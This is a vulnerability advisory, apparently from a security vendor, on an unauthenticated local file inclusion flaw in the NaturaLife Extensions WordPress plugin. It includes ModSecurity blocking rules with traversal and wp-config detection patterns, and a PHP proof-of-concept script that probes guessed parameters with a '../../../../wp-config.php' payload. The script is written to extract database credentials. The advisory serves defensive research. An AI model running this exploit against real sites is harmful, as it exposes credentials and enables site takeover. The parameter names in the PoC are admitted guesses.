Atomic Edge analysis of CVE-2026-25017 (metadata-based):
The NaturaLife Extensions plugin for WordPress versions up to and including 2.1 contains an unauthenticated Local File Inclusion vulnerability. This flaw resides in a PHP file inclusion mechanism that improperly validates user-supplied input. Attackers can exploit this vulnerability to include and execute arbitrary files on the server, leading to remote code execution. The CVSS score of 8.1 reflects a high-severity issue with significant confidentiality, integrity, and availability impacts.
Based on the CWE-98 classification and the vulnerability description, the root cause is improper control of a filename used in an include or require statement. The plugin likely uses a user-controlled parameter to construct a file path without proper validation. This path is then passed directly to a PHP include function. Atomic Edge research infers this code pattern from the CWE classification, as no source code diff is available for confirmation. The description confirms the attacker can include arbitrary files, which is a direct consequence of this weakness.
Exploitation involves sending a crafted HTTP request to a specific plugin endpoint. Attackers can target the WordPress AJAX handler (`/wp-admin/admin-ajax.php`) or a direct plugin file. The request would contain a parameter, likely named `file`, `path`, `template`, or `include`, with a value pointing to a local file (e.g., `../../../../wp-config.php`). If the server allows file uploads, an attacker could upload a malicious image containing PHP code and then include it via this vulnerability to achieve code execution. The attack is unauthenticated and requires no user interaction.
Remediation requires implementing strict validation and sanitization of user input used in file inclusion operations. The patched version 2.2 likely implements an allowlist of permitted files or directories. It should also remove directory traversal sequences (`../`) and restrict included files to a specific, safe directory. Proper capability checks should be added to ensure only authorized users can trigger the file inclusion functionality.
Successful exploitation grants attackers the ability to read sensitive files, such as `wp-config.php` containing database credentials. It can also lead to full remote code execution by including uploaded files or existing PHP files on the server. This bypasses all access controls and can result in complete site compromise, data theft, and server takeover.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25017 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625017,phase:2,deny,status:403,chain,msg:'CVE-2026-25017: NaturaLife Extensions Unauthenticated LFI via AJAX',severity:'CRITICAL',tag:'CVE-2026-25017',tag:'WordPress',tag:'Plugin',tag:'NaturaLife-Extensions',tag:'LFI'"
SecRule ARGS_POST:action "@rx ^(naturalife|natura_life|nlf)_" "chain"
SecRule ARGS_POST "@rx (?i)(\.\.(?:/|\\)|/etc/|/proc/|wp-config\.php|php://filter)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
SecRule REQUEST_URI "@rx ^/wp-content/plugins/naturalife-extensions/"
"id:202625018,phase:2,deny,status:403,chain,msg:'CVE-2026-25017: NaturaLife Extensions Unauthenticated LFI via direct file access',severity:'CRITICAL',tag:'CVE-2026-25017',tag:'WordPress',tag:'Plugin',tag:'NaturaLife-Extensions',tag:'LFI'"
SecRule ARGS_GET "@rx (?i)(\.\.(?:/|\\)|/etc/|/proc/|wp-config\.php|php://filter)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25017 - NaturaLife Extensions <= 2.1 - Unauthenticated Local File Inclusion
<?php
$target_url = 'http://target-site.com';
// Attempt to exploit via the WordPress AJAX endpoint, a common vector for plugin vulnerabilities.
// The exact parameter name is inferred from the CWE and common plugin patterns.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Common parameter names for file inclusion vulnerabilities.
$potential_params = ['file', 'include', 'path', 'template', 'view'];
// Payload to read the WordPress configuration file.
$lfi_payload = '../../../../wp-config.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
foreach ($potential_params as $param) {
// Test via POST request (common for AJAX actions).
$post_data = array(
'action' => 'naturalife_extensions_action', // Inferred action name based on plugin slug.
$param => $lfi_payload
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'define') !== false) {
echo "[SUCCESS] Potential LFI via POST parameter '$param'.n";
echo "Response snippet:n" . substr($response, 0, 500) . "n";
break;
}
}
// Test via GET request on a direct plugin file (another common pattern).
$direct_file_url = $target_url . '/wp-content/plugins/naturalife-extensions/somefile.php';
curl_setopt($ch, CURLOPT_URL, $direct_file_url . '?' . $param . '=' . urlencode($lfi_payload));
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'define') !== false) {
echo "[SUCCESS] Potential LFI via direct file access with GET parameter '$param'.n";
echo "Response snippet:n" . substr($response, 0, 500) . "n";
break;
}
}
}
curl_close($ch);
?>
